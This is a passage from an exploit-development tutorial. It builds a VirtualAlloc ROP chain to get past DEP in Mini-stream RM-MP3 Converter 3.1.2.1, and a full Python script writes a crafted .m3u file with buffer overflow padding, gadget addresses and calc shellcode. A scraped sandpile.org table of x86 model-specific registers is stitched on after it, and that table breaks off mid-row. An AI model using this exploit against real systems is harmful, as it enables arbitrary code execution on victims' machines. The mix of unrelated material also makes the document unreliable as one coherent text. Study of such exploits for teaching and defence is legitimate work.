EDX 00001000 => flAllocationType #` `# EBX 00000001 => dwSize #` `# ESP
???????? => Leave as is #` `# EBP ???????? => Call to ESP (jmp, call, push,..)
#` `# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #` `# EDI
10019C60 => ROP-Nop same as EIP #`
`#---------------------------------------------------------------------#` `rop
` `=` `struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding to compensate
4-bytes at ESP`
`#---------------------------------------------------------------------#` `#
Badchars: '\x00\x09\x0a' #` `# kernel32.virtualalloc: 0x1005d060
(MSRMfilter03.dll) #` `# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #`
`#---------------------------------------------------------------------#`
`crash ` `=` `"http://."` `+` `"A"` `*` `17416` `+` `"\x60\x9C\x01\x10"` `+`
`rop ` `+` `"C"` `*` `(` `7572` `-` `len` `(rop))` `writeFile ` `=` `open` `(`
`file` `, ` `"w"` `)` `writeFile.write( crash )` `writeFile.close()`  
---  
Our battle-plan now is to put together sequences of ROP-Gadgets that load the
values listed above in to the proper registers. Once we have all the
instructions, we need to shuffle them around because we need to remember some
instructions will modify registers that we had set previously. Lets start by
putting together some instructions that we can easily find and worry about the
rest afterward. Remember you want to have the least possible amount of
instructions per sequence.

[code]

    (1) EDI -> We need to put a ROP-Nop in EDI
    0x10029b57 # POP EDI # RETN
    0x1002b9ff # ROP-Nop (we already have this value from EIP)
    
    (2) EBP -> Redirect Execution flow to ESP
    0x100532ed # POP EBP # RETN
    0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
    
    (3) EAX -> Fill with a regular NOP
    0x10030361 # POP EAX # RETN
    0x90909090 # NOP (just a regular NOP)
    
    (4) We need to end our chain with a PUSHAD
    0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)
[/code]

Ok so we have all the low-hanging fruit. The other gadgets will require some
puzzling and creativity but with persistence you should be able to chain
together the instructions that we need. The chain I will be making is
definitely not the only option. There are probably quite a few ways to
structure your gadgets and some will doubtlessly be more efficient. Time to
dig in and sift through "rop.txt"..

[code]

    (5) EBX -> dwSize (0x1)
    0x10013b1c # POP EBX # RETN
    0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
    0x100319d3 # INC EBX # FPATAN # RETN  \ Increasing EBX twice will set EBX to 0x00000001
    0x100319d3 # INC EBX # FPATAN # RETN  /
    
    (6) EDX -> flAllocationType (0x1000)
    0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
    0x41414141 # padding for POP EBP (compensation for the POP)
    0x10013b1c # POP EBX # RETN
    0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
    0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
    0x1002b9ff # Rop-Nop to compensate  \
    0x1002b9ff # Rop-Nop to compensate   |
    0x1002b9ff # Rop-Nop to compensate   | This is to compensate for the POP and RETN 10
    0x1002b9ff # Rop-Nop to compensate   |
    0x1002b9ff # Rop-Nop to compensate   |
    0x1002b9ff # Rop-Nop to compensate  /
    
    (7) ECX -> flProtect (0x40)
    (This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
    XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
    universal.)
    0x100280de # POP ECX # RETN
    0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
    0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  \ ECX will be set to 0x00000001
    0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  /
    0x1002a487 # ADD ECX,ECX # RETN  \
    0x1002a487 # ADD ECX,ECX # RETN   |
    0x1002a487 # ADD ECX,ECX # RETN   | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
    0x1002a487 # ADD ECX,ECX # RETN   |
    0x1002a487 # ADD ECX,ECX # RETN   |
    0x1002a487 # ADD ECX,ECX # RETN  /
    
    (8) ESI -> VirtualAlloc
    (We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
    that pointer. Again here EBP points to a valid memory address (untested on XP).)
    0x1002ba02 # POP EAX # RETN
    0x1005d060 # kernel32.virtualalloc
    0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
    0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)
[/code]

Some of these sequences seem a bit complicated but they are not to difficult
to understand, take some time to look them over so you get a feeling for it.
As you can see some of these gadgets manipulate several registers to load the
proper value. We need to order our gadgets in a way that will not affect our
ROP-Chain so just keep that in mind. Time to put things together and
restructure our POC.

?

`#!/usr/bin/python` `import` `sys, struct` `file` `=` `"crash.m3u"`
`#---------------------------------------------------------[Structure]-#` `#
LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #` `# _In_opt_ LPVOID
lpAddress, => Return Address (Call to ESP) #` `# _In_ SIZE_T dwSize, => dwSize
(0x1) #` `# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #` `#
_In_ DWORD flProtect => flProtect (0x40) #` `# ); #`
`#---------------------------------------------------[Register Layout]-#` `#
Remember (1) the stack grows downwards so we need to load the #` `# values
into the registers in reverse order! (2) We are going to do #` `# some clever
trickery to align our return after executing. To #` `# acchieve this we will
be filling EDI with a ROP-Nop and we will be #` `# skipping ESP leaving it
intact. #` `# #` `# EAX 90909090 => Nop #` `# ECX 00000040 => flProtect #` `#
EDX 00001000 => flAllocationType #` `# EBX 00000001 => dwSize #` `# ESP
???????? => Leave as is #` `# EBP ???????? => Call to ESP (jmp, call, push,..)
#` `# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #` `# EDI
10019C60 => ROP-Nop same as EIP #`
`#---------------------------------------------------------------------#` `rop
` `=` `struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding to compensate
4-bytes at ESP` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10029b57` `) ` `#
POP EDI # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `#
ROP-Nop` `#-----------------------------------------[ROP-Nop -> EDI]-#` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x100280de` `) ` `# POP ECX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0xffffffff` `) ` `# will become 0x40` `rop
` `+` `=` `struct.pack(` `'<L'` `,` `0x1002e01b` `) ` `# INC ECX # MOV DWORD
PTR DS:[EDX],ECX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002e01b`
`) ` `# INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN` `rop ` `+`
`=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN`
`rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX #
RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD
ECX,ECX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `#
ADD ECX,ECX # RETN` `#--------------------------------[flProtect (0x40) ->
ECX]-#` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002ba02` `) ` `# POP EAX
# RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1005d060` `) ` `#
kernel32.virtualalloc` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10027f59`
`) ` `# MOV EAX,DWORD PTR DS:[EAX] # RETN` `rop ` `+` `=` `struct.pack(`
`'<L'` `,` `0x1005bb8e` `) ` `# PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH
1 # POP EAX # POP ESI # RETN`
`#------------------------------------[VirtualAlloc -> ESI]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1003fb3f` `) ` `# MOV EDX,E58B0001 # POP EBP #
RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding
for POP EBP` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10013b1c` `) ` `# POP
EBX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1A750FFF` `) ` `#
ebx+edx => 0x1000 flAllocationType` `rop ` `+` `=` `struct.pack(` `'<L'` `,`
`0x10029f3e` `) ` `# ADD EDX,EBX # POP EBX # RETN 10` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to compensate` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to compensate`
`rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to
compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-
Nop to compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) `
`# Rop-Nop to compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,`
`0x1002b9ff` `) ` `# Rop-Nop to compensate`
`#-----------------------[flAllocationType (0x1000) -> EDX]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100532ed` `) ` `# POP EBP # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100371f5` `) ` `# CALL ESP`
`#----------------------------------------[CALL ESP -> EBP]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x10013b1c` `) ` `# POP EBX # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0xffffffff` `) ` `# will be 0x1` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100319d3` `) ` `# INC EBX # FPATAN # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x100319d3` `) ` `# INC EBX # FPATAN #
RETN` `#------------------------------------[dwSize (0x1) -> EBX]-#` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x10030361` `) ` `# POP EAX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x90909090` `) ` `# NOP`
`#---------------------------------------------[NOP -> EAX]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x10014720` `) ` `# PUSHAD # RETN`
`#----------------------------------------[PUSHAD -> pwnd!]-#`
`#---------------------------------------------------------------------#` `#
Badchars: '\x00\x09\x0a' #` `# kernel32.virtualalloc: 0x1005d060
(MSRMfilter03.dll) #` `# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #`
`#---------------------------------------------------------------------#`
`crash ` `=` `"http://."` `+` `"A"` `*` `17416` `+` `"\x60\x9C\x01\x10"` `+`
`rop ` `+` `"C"` `*` `(` `7572` `-` `len` `(rop))` `writeFile ` `=` `open` `(`
`file` `, ` `"w"` `)` `writeFile.write( crash )` `writeFile.close()`  
---  
You can step through the ROP-Chain in the debugger to verify everything works
as intended. In the screenshot below you can see the call to VirtualAlloc is
set up on the stack. Any payload we place after that call will be executed.

<img src='img/Temp2_3374.png' />

VirtualAlloc\(\)

## Shellcode + Game Over

All that remains is to insert some shellcode as a second stage payload. We
haven't managed to allocate a lot of memory so we are limited in space but I
inserted SkyLined's calc shellcode \(you can have a look here if your
interested\). It is possible get more memory but I leave that up to the
diligent reader to play with.

?

`#!/usr/bin/python`
`#----------------------------------------------------------------------------------#`
`# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u) #` `# OS: Win7 Pro
SP1 #` `# Author: b33f (Ruben Boonen) #` `# Software: http://www.exploit-
db.com/wp-content/themes/exploit/applications #` `#
/ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe #`
`#----------------------------------------------------------------------------------#`
`# This exploit was created for Part 7 of my Exploit Development tutorial #`
`# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html #`
`#----------------------------------------------------------------------------------#`
`import` `sys, struct` `file` `=` `"crash.m3u"`
`#---------------------------------------------------------[Structure]-#` `#
LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #` `# _In_opt_ LPVOID
lpAddress, => Return Address (Call to ESP) #` `# _In_ SIZE_T dwSize, => dwSize
(0x1) #` `# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #` `#
_In_ DWORD flProtect => flProtect (0x40) #` `# ); #`
`#---------------------------------------------------[Register Layout]-#` `#
Remember (1) the stack grows downwards so we need to load the #` `# values
into the registers in reverse order! (2) We are going to do #` `# some clever
trickery to align our return after executing. To #` `# acchieve this we will
be filling EDI with a ROP-Nop and we will be #` `# skipping ESP leaving it
intact. #` `# #` `# EAX 90909090 => Nop #` `# ECX 00000040 => flProtect #` `#
EDX 00001000 => flAllocationType #` `# EBX 00000001 => dwSize #` `# ESP
???????? => Leave as is #` `# EBP ???????? => Call to ESP (jmp, call, push,..)
#` `# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #` `# EDI
10019C60 => ROP-Nop same as EIP #`
`#---------------------------------------------------------------------#` `rop
` `=` `struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding to compensate
4-bytes at ESP` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10029b57` `) ` `#
POP EDI # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `#
ROP-Nop` `#-----------------------------------------[ROP-Nop -> EDI]-#` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x100280de` `) ` `# POP ECX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0xffffffff` `) ` `# will become 0x40` `rop
` `+` `=` `struct.pack(` `'<L'` `,` `0x1002e01b` `) ` `# INC ECX # MOV DWORD
PTR DS:[EDX],ECX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002e01b`
`) ` `# INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN` `rop ` `+`
`=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX # RETN`
`rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD ECX,ECX #
RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `# ADD
ECX,ECX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002a487` `) ` `#
ADD ECX,ECX # RETN` `#--------------------------------[flProtect (0x40) ->
ECX]-#` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002ba02` `) ` `# POP EAX
# RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1005d060` `) ` `#
kernel32.virtualalloc` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10027f59`
`) ` `# MOV EAX,DWORD PTR DS:[EAX] # RETN` `rop ` `+` `=` `struct.pack(`
`'<L'` `,` `0x1005bb8e` `) ` `# PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH
1 # POP EAX # POP ESI # RETN`
`#------------------------------------[VirtualAlloc -> ESI]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1003fb3f` `) ` `# MOV EDX,E58B0001 # POP EBP #
RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding
for POP EBP` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x10013b1c` `) ` `# POP
EBX # RETN` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1A750FFF` `) ` `#
ebx+edx => 0x1000 flAllocationType` `rop ` `+` `=` `struct.pack(` `'<L'` `,`
`0x10029f3e` `) ` `# ADD EDX,EBX # POP EBX # RETN 10` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to compensate` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to compensate`
`rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-Nop to
compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) ` `# Rop-
Nop to compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,` `0x1002b9ff` `) `
`# Rop-Nop to compensate` `rop ` `+` `=` `struct.pack(` `'<L'` `,`
`0x1002b9ff` `) ` `# Rop-Nop to compensate`
`#-----------------------[flAllocationType (0x1000) -> EDX]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100532ed` `) ` `# POP EBP # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100371f5` `) ` `# CALL ESP`
`#----------------------------------------[CALL ESP -> EBP]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x10013b1c` `) ` `# POP EBX # RETN` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0xffffffff` `) ` `# will be 0x1` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x100319d3` `) ` `# INC EBX # FPATAN # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x100319d3` `) ` `# INC EBX # FPATAN #
RETN` `#------------------------------------[dwSize (0x1) -> EBX]-#` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x10030361` `) ` `# POP EAX # RETN` `rop `
`+` `=` `struct.pack(` `'<L'` `,` `0x90909090` `) ` `# NOP`
`#---------------------------------------------[NOP -> EAX]-#` `rop ` `+` `=`
`struct.pack(` `'<L'` `,` `0x10014720` `) ` `# PUSHAD # RETN`
`#----------------------------------------[PUSHAD -> pwnd!]-#` `# SkyLined's
Calc shellcode` `calc ` `=` `(`
`"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"`
`"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"`
`"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"`
`"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"`
`"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"`
`"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"` `)`
`#---------------------------------------------------------------------#` `#
Badchars: '\x00\x09\x0a' #` `# kernel32.virtualalloc: 0x1005d060
(MSRMfilter03.dll) #` `# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #`
`#---------------------------------------------------------------------#`
`shell ` `=` `"\x90"` `*` `5` `+` `calc` `crash ` `=` `"http://."` `+` `"A"`
`*` `17416` `+` `"\x60\x9C\x01\x10"` `+` `rop ` `+` `shell ` `+` `"C"` `*` `(`
`7572` `-` `len` `(rop ` `+` `shell))` `writeFile ` `=` `open` `(` `file` `, `
`"w"` `)` `writeFile.write( crash )` `writeFile.close()`  
---  
<img src='img/Temp2_3372.png' />

# sandpile.org -- x86 architecture -- model specific registers

**Created:**| _7/21/2016 1:15:54 PM_  
---|---  
**Updated:**| _7/21/2016 1:15:54 PM_  
**Author:**| __  
**Tags:**| _hardware papers Hacks_  
  

  

**x86 architecture  
model specific registers**  
  

* * *
  
note: The model specific registers depend on the implementation.  
  
|  
Time Stamp Counter  
  
---  
name | 6  
3 |  | 3  
2 | 3  
1 |  | 0  
  
TSC  
  
0000\_0010h |    
time stamp counter value  
  
  
TSC\_ADJUST  
  
0000\_003Bh |    
time stamp counter adjustment  
  
  
TSC\_AUX  
  
C000\_0103h | reserved |    
processor ID value  
  
  
MPERF  
  
0000\_00E7h |    
maximum frequency clock count  
  
  
APERF  
  
0000\_00E8h |    
actual frequency clock count  
  
  

* * *
  
  
Feature Control  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
  
TR12  
  
0000\_000Eh | reserved or used otherwise | I  
T  
R | reserved or  
used otherwise  
  
MISC\_CTL  
  
0000\_0119h | reserved or  
used otherwise | P  
S  
N  
D |    
reserved or used otherwise  
  
MISC\_ENABLE  
  
0000\_01A0h | reserved or used otherwise | L1  
IP  
PR  
D | D  
A  
D | L1  
ST  
PR  
D | res.  
... | X  
D  
D | res.  
...  
reserved or  
used otherwise | L1  
DC  
CM | ET  
PR  
D | L  
C  
M  
V | F  
PR  
E | GV  
3  
L | A  
S  
P  
D | M  
O  
N  
E | BD  
PH  
E | GV  
3  
E | GV  
1+  
E | ? | T  
M  
2  
E | PE  
BS  
U | B  
T  
S  
U | P  
B  
E | P  
Q  
D | S  
L  
E | P  
M  
A | L  
3  
D | T  
C  
D | S  
L  
D | T  
M  
1  
E | F  
C  
E | L  
P  
P  
E | F  
S  
E  
  
EFER  
  
C000\_0080h | reserved or used otherwise | T  
C  
E | F  
FX  
SR | LM  
SL  
E | S  
V  
M  
E | N  
X  
E | L  
M  
A |  | L  
M  
E | reserved or  
used otherwise | S  
C  
E  
  
PLATFORM\_INFO  
  
0000\_00CEh | CP  
UI  
DF  
A |    
reserved or used otherwise  
  
  
MISC\_FEATURES  
  
0000\_0140h |    
reserved or used otherwise  
| CP  
UI  
DF  
E  
  

* * *
  
  
SYSENTER and SYSEXIT  
  
---  
name | 6  
3 |  | 3  
2 | 3  
1 |  | 1  
6 | 1  
5 |  | 0  
  
SEP\_SEL  
  
0000\_0174h | ignored | scratch | base selector for  
SYSENTER CS/SS and  
SYSEXIT CS/SS  
  
SEP\_ESP  
  
0000\_0175h |    
ignored  
|  
target ESP  
  
  
SEP\_RSP  
  
0000\_0175h |    
target RSP  
  
  
SEP\_EIP  
  
0000\_0176h |    
ignored  
|  
target EIP  
  
  
SEP\_RIP  
  
0000\_0176h |    
target RIP  
  
  
  
SYSCALL and SYSRET  
  
---  
name | 6  
3 |  | 4  
8 | 4  
7 |  | 3  
2 | 3  
1 |  | 0  
  
STAR  
  
C000\_0081h | base selector for  
SYSRET CS/SS | base selector for  
SYSCALL CS/SS |    
target EIP  
  
  
LSTAR  
  
C000\_0082h |    
target RIP for PM64 callers  
  
  
CSTAR  
  
C000\_0083h |    
target RIP for CM callers  
  
  
FMASK  
  
C000\_0084h | reserved |    
RFLAGS mask for SYSCALL  
  
  
  
FS base and GS base  
  
---  
name | 6  
3 |  | 0  
  
FS\_BAS  
  
C000\_0100h |    
FS base  
  
  
GS\_BAS  
  
C000\_0101h |    
GS base  
  
  
KERNEL\_GS\_BAS  
  
C000\_0102h |    
kernel GS base \(for SWAPGS\)  
  
  

* * *
  
  
Memory Types  
  
---  
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7  
UC | WC | reserved | reserved | WT | WP | WB | UC\_WEAK  
note | PAT-only UC\_WEAK can be overridden by WC from MTRRs  
  
  
Page Attribute Table  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
PAT  
  
0000\_0277h |    
reserved  
| PA7 | reserved | PA6 | reserved | PA5 | reserved | PA4  
  
reserved  
| PA3 | reserved | PA2 | reserved | PA1 | reserved | PA0  
  
  
Memory Type Range Registers  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
MTRR\_CAP  
  
0000\_00FEh |    
reserved  
  
reserved | S  
M  
R  
R | W  
C | r. | F  
I  
X | VCNT \(n\)  
MTRR\_DEF\_TYPE  
  
0000\_02FFh |    
reserved  
  
reserved | E | F  
E | res. |    
TYPE  
  
  
  
Fixed Range MTRRs  
  
---  
name | 6  
3 |  | 5  
6 | 5  
5 |  | 4  
8 | 4  
7 |  | 4  
0 | 3  
9 |  | 3  
2 | 3  
1 |  | 2  
4 | 2  
3 |  | 1  
6 | 1  
5 |  | 8 | 7 |  | 0  
  
MTRR\_FIX\_64K\_00000  
  
0000\_0250h | 7\_0000h  
7\_FFFFh | 6\_0000h  
6\_FFFFh | 5\_0000h  
5\_FFFFh | 4\_0000h  
4\_FFFFh | 3\_0000h  
3\_FFFFh | 2\_0000h  
2\_FFFFh | 1\_0000h  
1\_FFFFh | 0\_0000h  
0\_FFFFh  
  
MTRR\_FIX\_16K\_80000  
  
0000\_0258h | 9\_C000h  
9\_FFFFh | 9\_8000h  
9\_BFFFh | 9\_4000h  
9\_7FFFh | 9\_0000h  
9\_3FFFh | 8\_C000h  
8\_FFFFh | 8\_8000h  
8\_BFFFh | 8\_4000h  
8\_7FFFh | 8\_0000h  
8\_3FFFh  
  
MTRR\_FIX\_16K\_A0000  
  
0000\_0259h | B\_C000h  
B\_FFFFh | B\_8000h  
B\_BFFFh | B\_4000h  
B\_7FFFh | B\_0000h  
B\_3FFFh | A\_C000h  
A\_FFFFh | A\_8000h  
A\_BFFFh | A\_4000h  
A\_7FFFh | A\_0000h  
A\_3FFFh  
  
MTRR\_FIX\_4K\_C0000  
  
0000\_0268h | C\_7000h  
C\_7FFFh | C\_6000h  
C\_6FFFh | C\_5000h  
C\_5FFFh | C\_4000h  
C\_4FFFh | C\_3000h  
C\_3FFFh | C\_2000h  
C\_2FFFh | C\_1000h  
C\_2FFFh | C\_0000h  
C\_0FFFh  
  
MTRR\_FIX\_4K\_C8000  
  
0000\_0269h | C\_F000h  
C\_FFFFh | C\_E000h  
C\_EFFFh | C\_D000h  
C\_DFFFh | C\_C000h  
C\_CFFFh | C\_B000h  
C\_BFFFh | C\_A000h  
C\_AFFFh | C\_9000h  
C\_9FFFh | C\_8000h  
C\_8FFFh  
  
MTRR\_FIX\_4K\_D0000  
  
0000\_026Ah | D\_7000h  
D\_7FFFh | D\_6000h  
D\_6FFFh | D\_5000h  
D\_5FFFh | D\_4000h  
D\_4FFFh | D\_3000h  
D\_3FFFh | D\_2000h  
D\_2FFFh | D\_1000h  
D\_2FFFh | D\_0000h  
D\_0FFFh  
  
MTRR\_FIX\_4K\_D8000  
  
0000\_026Bh | D\_F000h  
D\_FFFFh | D\_E000h  
D\_EFFFh | D\_D000h  
D\_DFFFh | D\_C000h  
D\_CFFFh | D\_B000h  
D\_BFFFh | D\_A000h  
D\_AFFFh | D\_9000h  
D\_9FFFh | D\_8000h  
D\_8FFFh  
  
MTRR\_FIX\_4K\_E0000  
  
0000\_026Ch | E\_7000h  
E\_7FFFh | E\_6000h  
E\_6FFFh | E\_5000h  
E\_5FFFh | E\_4000h  
E\_4FFFh | E\_3000h  
E\_3FFFh | E\_2000h  
E\_2FFFh | E\_1000h  
E\_2FFFh | E\_0000h  
E\_0FFFh  
  
MTRR\_FIX\_4K\_E8000  
  
0000\_026Dh | E\_F000h  
E\_FFFFh | E\_E000h  
E\_EFFFh | E\_D000h  
E\_DFFFh | E\_C000h  
E\_CFFFh | E\_B000h  
E\_BFFFh | E\_A000h  
E\_AFFFh | E\_9000h  
E\_9FFFh | E\_8000h  
E\_8FFFh  
  
MTRR\_FIX\_4K\_F0000  
  
0000\_026Eh | F\_7000h  
F\_7FFFh | F\_6000h  
F\_6FFFh | F\_5000h  
F\_5FFFh | F\_4000h  
F\_4FFFh | F\_3000h  
F\_3FFFh | F\_2000h  
F\_2FFFh | F\_1000h  
